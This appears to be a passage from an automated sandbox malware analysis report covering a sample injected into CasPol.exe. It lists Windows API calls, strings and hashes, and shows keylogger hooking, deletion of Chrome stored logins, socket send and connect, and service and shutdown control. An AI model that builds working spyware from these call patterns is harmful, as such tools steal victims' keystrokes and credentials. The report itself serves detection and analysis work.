                                                                                                                                                                  • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 00419927
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00419935
                                                                                                                                                                  • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041996D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3587775597-0
                                                                                                                                                                  • Opcode ID: 34920957428d69c8760f99d8606d88bdea0f5fd358a953c5030324d0b209bf69
                                                                                                                                                                  • Instruction ID: 5304d2aa3016a1bb8b693e548c532b43deb082133906afc562c92feca393f19d
                                                                                                                                                                  • Opcode Fuzzy Hash: 34920957428d69c8760f99d8606d88bdea0f5fd358a953c5030324d0b209bf69
                                                                                                                                                                  • Instruction Fuzzy Hash: 37812F711083049BC614FB21DC959AFB7A8BF94718F50493EF582521E2EF78AA05CB9A
                                                                                                                                                                  Function 004513B7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F2B
                                                                                                                                                                  • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 004514C3
                                                                                                                                                                  • IsValidCodePage.KERNEL32(00000000), ref: 0045151E
                                                                                                                                                                  • IsValidLocale.KERNEL32(?,00000001), ref: 0045152D
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,00001001,<D,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00451575
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 00451594
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                                                                                                                                  • String ID: <D$<D$<D
                                                                                                                                                                  • API String ID: 745075371-3495170934
                                                                                                                                                                  • Opcode ID: 5c8e94395c66df2641350def7a129c2a5847567c9c00908226c609ff7e549d11
                                                                                                                                                                  • Instruction ID: fdda48fcf8ef828b158f806230e01f9d82b9b72a6df542884d0e4dc3e0683d2c
                                                                                                                                                                  • Opcode Fuzzy Hash: 5c8e94395c66df2641350def7a129c2a5847567c9c00908226c609ff7e549d11
                                                                                                                                                                  • Instruction Fuzzy Hash: 5A51D571900205ABEF10EFA5CC40BBF73B8AF05702F14056BFD11EB262E7789A488769
                                                                                                                                                                  Function 0041B42F Relevance: 13.6, APIs: 9, Instructions: 105fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B489
                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B4BB
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B529
                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B536
                                                                                                                                                                    • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B50C
                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B561
                                                                                                                                                                  • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B568
                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,00473EE8,00000000), ref: 0041B570
                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B583
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2341273852-0
                                                                                                                                                                  • Opcode ID: 38605e05b284b3287545d71b9912fe11a1e5e192bb535f2a18b99cb8ec032d5d
                                                                                                                                                                  • Instruction ID: e81c2b0307560c21eb772b723951cbad4d8c7a866ea933437d0d5d39764c0eb1
                                                                                                                                                                  • Opcode Fuzzy Hash: 38605e05b284b3287545d71b9912fe11a1e5e192bb535f2a18b99cb8ec032d5d
                                                                                                                                                                  • Instruction Fuzzy Hash: 0031627184921CAACB20D7B1AC89ADA77BCAF04309F4405EBF505D3181EB799AC5CE69
                                                                                                                                                                  Function 00418C69 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?), ref: 00418EBF
                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?,?), ref: 00418F8B
                                                                                                                                                                    • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$Find$CreateFirstNext
                                                                                                                                                                  • String ID: @CG$XCG$`HG$`HG$>G
                                                                                                                                                                  • API String ID: 341183262-3780268858
                                                                                                                                                                  • Opcode ID: 370f4d1bb48917f4102406aff739b7f4752134e9ba6bc41bde7cf39fc8db8d8c
                                                                                                                                                                  • Instruction ID: 861c71bda04042c44626cba1538e35c757a91b728f0af2478fb4c1063bb13cc5
                                                                                                                                                                  • Opcode Fuzzy Hash: 370f4d1bb48917f4102406aff739b7f4752134e9ba6bc41bde7cf39fc8db8d8c
                                                                                                                                                                  • Instruction Fuzzy Hash: B08141315042405BC314FB62C892EEFB3A5AFD1718F50493FF946671E2EF389A49C69A
                                                                                                                                                                  Function 004099E4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00409A01
                                                                                                                                                                  • SetWindowsHookExA.USER32(0000000D,004099D0,00000000), ref: 00409A0F
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00409A1B
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  • GetMessageA.USER32 ref: 00409A6B
                                                                                                                                                                  • TranslateMessage.USER32(?), ref: 00409A7A
                                                                                                                                                                  • DispatchMessageA.USER32(?), ref: 00409A85
                                                                                                                                                                  Strings
                                                                                                                                                                  • Keylogger initialization failure: error , xrefs: 00409A32
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                                                                                                                                  • String ID: Keylogger initialization failure: error
                                                                                                                                                                  • API String ID: 3219506041-952744263
                                                                                                                                                                  • Opcode ID: 10065da0f80e2b1588f186909b8751ab17816e81d90ef01b858d99eb9022e310
                                                                                                                                                                  • Instruction ID: 76b292cdb4e6355f9a4176d1f10d626d2d11be3de55f9aee7ae49bf60faff0c2
                                                                                                                                                                  • Opcode Fuzzy Hash: 10065da0f80e2b1588f186909b8751ab17816e81d90ef01b858d99eb9022e310
                                                                                                                                                                  • Instruction Fuzzy Hash: 201194716043015BC710AB7AAC4996B77ECAB94B15B10057FFC45D2291FB34DE01CBAB
                                                                                                                                                                  Function 00412F45 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 391registrylibraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegCreateKeyExW.ADVAPI32(00000000), ref: 0041301A
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 00413026
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 004131ED
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004131F4
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressCloseCreateLibraryLoadProcsend
                                                                                                                                                                  • String ID: SHDeleteKeyW$Shlwapi.dll
                                                                                                                                                                  • API String ID: 2127411465-314212984
                                                                                                                                                                  • Opcode ID: 4bfa0ab92cfe4c7e273a593f9c438f6144fcaff52e32c91ef8c2f101195a9e69
                                                                                                                                                                  • Instruction ID: cc67afc49b78d61a2372e1362dfc4f5d4a672f2d1b5b468e2109e7b1f18a6fb5
                                                                                                                                                                  • Opcode Fuzzy Hash: 4bfa0ab92cfe4c7e273a593f9c438f6144fcaff52e32c91ef8c2f101195a9e69
                                                                                                                                                                  • Instruction Fuzzy Hash: 4FB1B671A043006BC614BA76CC979BE76989F94718F40063FF946B31E2EF7C9A4486DB
                                                                                                                                                                  Function 0040E54F Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 88sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004124B7: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 004124D7
                                                                                                                                                                    • Part of subcall function 004124B7: RegQueryValueExA.ADVAPI32 ref: 004124F5
                                                                                                                                                                    • Part of subcall function 004124B7: RegCloseKey.ADVAPI32(00000000), ref: 00412500
                                                                                                                                                                  • Sleep.KERNEL32(00000BB8), ref: 0040E603
                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040E672
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseExitOpenProcessQuerySleepValue
                                                                                                                                                                  • String ID: 5.3.0 Pro$override$pth_unenc$BG
                                                                                                                                                                  • API String ID: 2281282204-3981147832
                                                                                                                                                                  • Opcode ID: a8e2c88ceb4e55fd25039a1be51ceaadab504b075b3d7079739a6e0ae32f2795
                                                                                                                                                                  • Instruction ID: 346becae97c590b24629de205d3f766cc2ad037e5fc603921d36f10068cff0f4
                                                                                                                                                                  • Opcode Fuzzy Hash: a8e2c88ceb4e55fd25039a1be51ceaadab504b075b3d7079739a6e0ae32f2795
                                                                                                                                                                  • Instruction Fuzzy Hash: 6B21A131B0030027C608767A891BA6F359A9B91719F90443EF805A76D7EE7D8A6083DF
                                                                                                                                                                  Function 0040B21B Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040B257
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040B261
                                                                                                                                                                  Strings
                                                                                                                                                                  • [Chrome StoredLogins found, cleared!], xrefs: 0040B287
                                                                                                                                                                  • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040B222
                                                                                                                                                                  • [Chrome StoredLogins not found], xrefs: 0040B27B
                                                                                                                                                                  • UserProfile, xrefs: 0040B227
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: DeleteErrorFileLast
                                                                                                                                                                  • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                                                                                                                                  • API String ID: 2018770650-1062637481
                                                                                                                                                                  • Opcode ID: b5e309dbdaf0aeabe7af2cd1639cb477138ee585283f82b93ad88acdd4edf375
                                                                                                                                                                  • Instruction ID: 236ee74dc97b4bdf00ef4875347123a6b81b21ae8e03a402b83ae8c28ff1bd46
                                                                                                                                                                  • Opcode Fuzzy Hash: b5e309dbdaf0aeabe7af2cd1639cb477138ee585283f82b93ad88acdd4edf375
                                                                                                                                                                  • Instruction Fuzzy Hash: 3001A23168410597CA0477B5ED6F8AE3624E921704F50017FF802731E2FF3A9A0586DE
                                                                                                                                                                  Function 00416AB7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 32COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetCurrentProcess.KERNEL32(00000028,?), ref: 00416AC4
                                                                                                                                                                  • OpenProcessToken.ADVAPI32(00000000), ref: 00416ACB
                                                                                                                                                                  • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00416ADD
                                                                                                                                                                  • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00416AFC
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00416B02
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                  • String ID: SeShutdownPrivilege
                                                                                                                                                                  • API String ID: 3534403312-3733053543
                                                                                                                                                                  • Opcode ID: e04eb0b34037921419aad719b93aaa051d7dc20f4e189cf25d4eb9764effedfd
                                                                                                                                                                  • Instruction ID: c28276ca820f5d67da4083ad645d4fedab17ddc29f560671af9b7c8b6b4fa774
                                                                                                                                                                  • Opcode Fuzzy Hash: e04eb0b34037921419aad719b93aaa051d7dc20f4e189cf25d4eb9764effedfd
                                                                                                                                                                  • Instruction Fuzzy Hash: 25F0D4B5805229BBDB10ABA1EC4DEEF7EBCEF05656F100061B805E2192D6748A44CAB5
                                                                                                                                                                  Function 004089A9 Relevance: 9.3, APIs: 6, Instructions: 288fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • __EH_prolog.LIBCMT ref: 004089AE
                                                                                                                                                                    • Part of subcall function 004041F1: socket.WS2_32(?,00000001,00000006), ref: 00404212
                                                                                                                                                                    • Part of subcall function 0040428C: connect.WS2_32(?,?,?), ref: 004042A5
                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00408A8D
                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00408AE0
                                                                                                                                                                  • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00408AF7
                                                                                                                                                                    • Part of subcall function 00404468: WaitForSingleObject.KERNEL32(?,00000000,00401943,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000), ref: 0040450E
                                                                                                                                                                    • Part of subcall function 00404468: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000,?,?,?,?,?,00401943), ref: 0040453C
                                                                                                                                                                    • Part of subcall function 004047EB: WaitForSingleObject.KERNEL32(?,000000FF,00475B70,?,?,00000000,00475B70,004017F3), ref: 004047FD
                                                                                                                                                                    • Part of subcall function 004047EB: SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404808
                                                                                                                                                                    • Part of subcall function 004047EB: CloseHandle.KERNELBASE(?), ref: 00404811
                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00408DA1
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Find$CloseEventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsendsocket
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4043647387-0
                                                                                                                                                                  • Opcode ID: 09a69e0303e81d48d1e7444200da9c76687e86ed7c9a89389c8c98f32268c2c3
                                                                                                                                                                  • Instruction ID: d7705bc86650fd6632c5f082d335fbcd32bd3fe840799e2454ee74f5ab9ae988
                                                                                                                                                                  • Opcode Fuzzy Hash: 09a69e0303e81d48d1e7444200da9c76687e86ed7c9a89389c8c98f32268c2c3
                                                                                                                                                                  • Instruction Fuzzy Hash: 11A15C729001089ACB14EBA1DD92AEDB778AF54318F10427FF546B71D2EF385E498B98
                                                                                                                                                                  Function 00419BC4 Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,?,?,0041981A,00000000,00000000), ref: 00419BCD
                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,?,0041981A,00000000,00000000), ref: 00419BE2
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419BEF
                                                                                                                                                                  • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,?,0041981A,00000000,00000000), ref: 00419BFA
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419C0C
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419C0F
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ManagerStart
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 276877138-0
                                                                                                                                                                  • Opcode ID: 413273253f7cbae0f6bd9debfc52a3b8d95171ad4a984208ec06c12d82ce07c5
                                                                                                                                                                  • Instruction ID: 9ab78235182221d9a13884b701025ebbd4d22640777282bd149d85cf0e5c5631
                                                                                                                                                                  • Opcode Fuzzy Hash: 413273253f7cbae0f6bd9debfc52a3b8d95171ad4a984208ec06c12d82ce07c5
                                                                                                                                                                  • Instruction Fuzzy Hash: 46F0E971404314AFD2115B31FC88DBF2AACEF85BA2B00043AF54193191CF68CD4595B9
                                                                                                                                                                  Function 004158B9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97libraryloadershutdownCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00416AB7: GetCurrentProcess.KERNEL32(00000028,?), ref: 00416AC4
                                                                                                                                                                    • Part of subcall function 00416AB7: OpenProcessToken.ADVAPI32(00000000), ref: 00416ACB
                                                                                                                                                                    • Part of subcall function 00416AB7: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00416ADD
                                                                                                                                                                    • Part of subcall function 00416AB7: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00416AFC
                                                                                                                                                                    • Part of subcall function 00416AB7: GetLastError.KERNEL32 ref: 00416B02
                                                                                                                                                                  • ExitWindowsEx.USER32(00000000,00000001), ref: 0041595B
                                                                                                                                                                  • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 00415970
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00415977
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                                                                                                                                                  • String ID: PowrProf.dll$SetSuspendState
                                                                                                                                                                  • API String ID: 1589313981-1420736420
                                                                                                                                                                  • Opcode ID: 760194600065aa930d76b91875d7e389ee81a04dff370ffb8731a3af4adaf024
                                                                                                                                                                  • Instruction ID: 94bd0be5b4d635cf3270abd21b93e0cba208aed3fdadf5553bbce7524c8ebf13
                                                                                                                                                                  • Opcode Fuzzy Hash: 760194600065aa930d76b91875d7e389ee81a04dff370ffb8731a3af4adaf024
                                                                                                                                                                  • Instruction Fuzzy Hash: 7D2150B0604741E6CA14F7B19856AEF225A9F80748F40883FB402A72D2EF7CDC89865E
                                                                                                                                                                  Function 004511E3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,00451502,?,00000000), ref: 0045127C
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,00451502,?,00000000), ref: 004512A5
                                                                                                                                                                  • GetACP.KERNEL32(?,?,00451502,?,00000000), ref: 004512BA
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                  • String ID: ACP$OCP
                                                                                                                                                                  • API String ID: 2299586839-711371036
                                                                                                                                                                  • Opcode ID: 3e26eff85c0b030be7827b2fbb91fc7191fc27f2fce1bf15d40cdf94764cc661
                                                                                                                                                                  • Instruction ID: bcb6c1b5649eca6e102b6d6ca9fa22aa61ab34f591545d84575f60c76f210f03
                                                                                                                                                                  • Opcode Fuzzy Hash: 3e26eff85c0b030be7827b2fbb91fc7191fc27f2fce1bf15d40cdf94764cc661
                                                                                                                                                                  • Instruction Fuzzy Hash: 50212722600100A6D7348F54D900BAB73A6AB40B66F1645E6FD09E7322F736DD49C799
                                                                                                                                                                  Function 0041A63F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000,?,0040E183,00000000), ref: 0041A650
                                                                                                                                                                  • LoadResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A664
                                                                                                                                                                  • LockResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A66B
                                                                                                                                                                  • SizeofResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A67A
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Resource$FindLoadLockSizeof
                                                                                                                                                                  • String ID: SETTINGS
                                                                                                                                                                  • API String ID: 3473537107-594951305
                                                                                                                                                                  • Opcode ID: e32b0715ad7aadeb38a8c4a618404dc1e86643bbbf9351d1ef3d996740a46f90
                                                                                                                                                                  • Instruction ID: 83a829ee02157d331b98a48cb758db5ec39b6d120b3a3db205f860a33549a403
                                                                                                                                                                  • Opcode Fuzzy Hash: e32b0715ad7aadeb38a8c4a618404dc1e86643bbbf9351d1ef3d996740a46f90
                                                                                                                                                                  • Instruction Fuzzy Hash: 3EE01A3A200710ABCB211BA5BC8CD477E39E7867633140036F90582331DA358850CA59
                                                                                                                                                                  Function 00407A8C Relevance: 7.7, APIs: 5, Instructions: 183fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • __EH_prolog.LIBCMT ref: 00407A91
                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,00465AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B4A
                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B6E
                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407C76
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Find$File$CloseFirstH_prologNext
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1157919129-0
                                                                                                                                                                  • Opcode ID: be329e02f9a977489ec03ab4a587285a9e8b683dbacd723bef2334c22b0cd63e
                                                                                                                                                                  • Instruction ID: c296e4c637b16ec180f1d25cf2666c4e6f2336455dd814d501b84ef2841b6e91
                                                                                                                                                                  • Opcode Fuzzy Hash: be329e02f9a977489ec03ab4a587285a9e8b683dbacd723bef2334c22b0cd63e
